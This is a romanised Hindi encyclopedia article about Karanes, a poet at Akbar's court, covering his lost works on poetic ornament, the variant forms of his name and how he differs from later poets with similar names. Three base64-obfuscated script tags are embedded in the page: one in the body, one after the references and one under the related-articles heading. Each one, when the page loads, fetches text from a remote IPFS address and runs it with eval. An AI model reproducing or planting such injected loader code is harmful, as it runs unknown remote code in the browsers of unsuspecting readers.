करनेस

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

karanes madhyakalin bharat mean mugal badashah akabar ke darabar se sanbandh rakhane vale hiandi ke kavi the. inaka janm kal san 1554 ee. aur rachana kal 1580 ee. ke lagabhag mana jata hai.[1] mishrabandhu vinod[2] ke anusar ye narahari kavi (janm 1505 ee.) ke sath akabar ke darabar mean aya jaya karate the.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rachana kary

karanes ne nimn tin alankar sanbandhi granthoan ki rachana ki thi[3]-

  1. 'karnabhiran'
  2. 'shrutibhooshan'
  3. 'bhoopabhooshan'

ukt sabhi granth abhi tak aprapt haian. mishrabandhuoan ke anusar karanes ne kh di boli mean bhi kavitaean likhi thian, lekin inaka ukt kavy sadharan koti ka hi hai.

vibhinn nam

karanes ka 'karanesi', 'karanesh', 'karnesh', adi vibhinn namoan se ullekh milata hai. hajariprasad dvivedi tatha bhagirath mishr inhean 'karanes bandijan' likhate haian to sarayoo prasad agraval ne inaka ullekh 'karanesh' nam se zikr kiya hai; lekin ramachandr shukl tatha vijayeandr snatak ne inhean 'karanes kavi' hi likha hai.

vidvanh ullekh

asani nivasi mahapatr karanesh kavi ki charcha bhi d aau. bhagirath mishr ne[4] chandrashekhar bajapeyi ke prasang mean ki hai. lekin ye akabari darabar ke karanes nahian haian, kyoanki chandrashekhar bajapeyi ka janm sanvat 1855 vikrami, tadnusar 1798 ee. ke asapas aanka gaya hai. donoan mean 200 varsh ka aantar hai, at: donoan do bhinn vyakti haian. 'rasakallol' (rachana sanh‌ 1700 athava 1800 ke asapas) ke rachayita 'karan kavi, jinaka ullekh shivasianh seangar ne panna naresh ke ashrit kavi ke roop mean kiya aur d aau. bhagirath mishr[5] dvara ullikhit 'sahityaras' (rachana sanh‌ 1903 ee.) namak kavyashastriy granth ke praneta 'karan' kavi bhi karanes kavi se alag vyakti haian.[6]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. hiandi kavyashastr ka itihas, d aau. bhagirath mishr, dvitiy sanskaran, prishth- 37
  2. bhag 1, prishth 324, sanskaran 1994
  3. hiandi sahity ka itihas, ramachand shukl, 16vaan punarmudran, prishth- 200
  4. hiandi kavyashastr ka itihas, dvitiy sanskaran, prishth- 180
  5. hiandi kavyashastr ka itihas, dvitiy sanskaran, prishth- 42
  6. karanes (hiandi) bharatakhoj. abhigaman tithi: 20 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah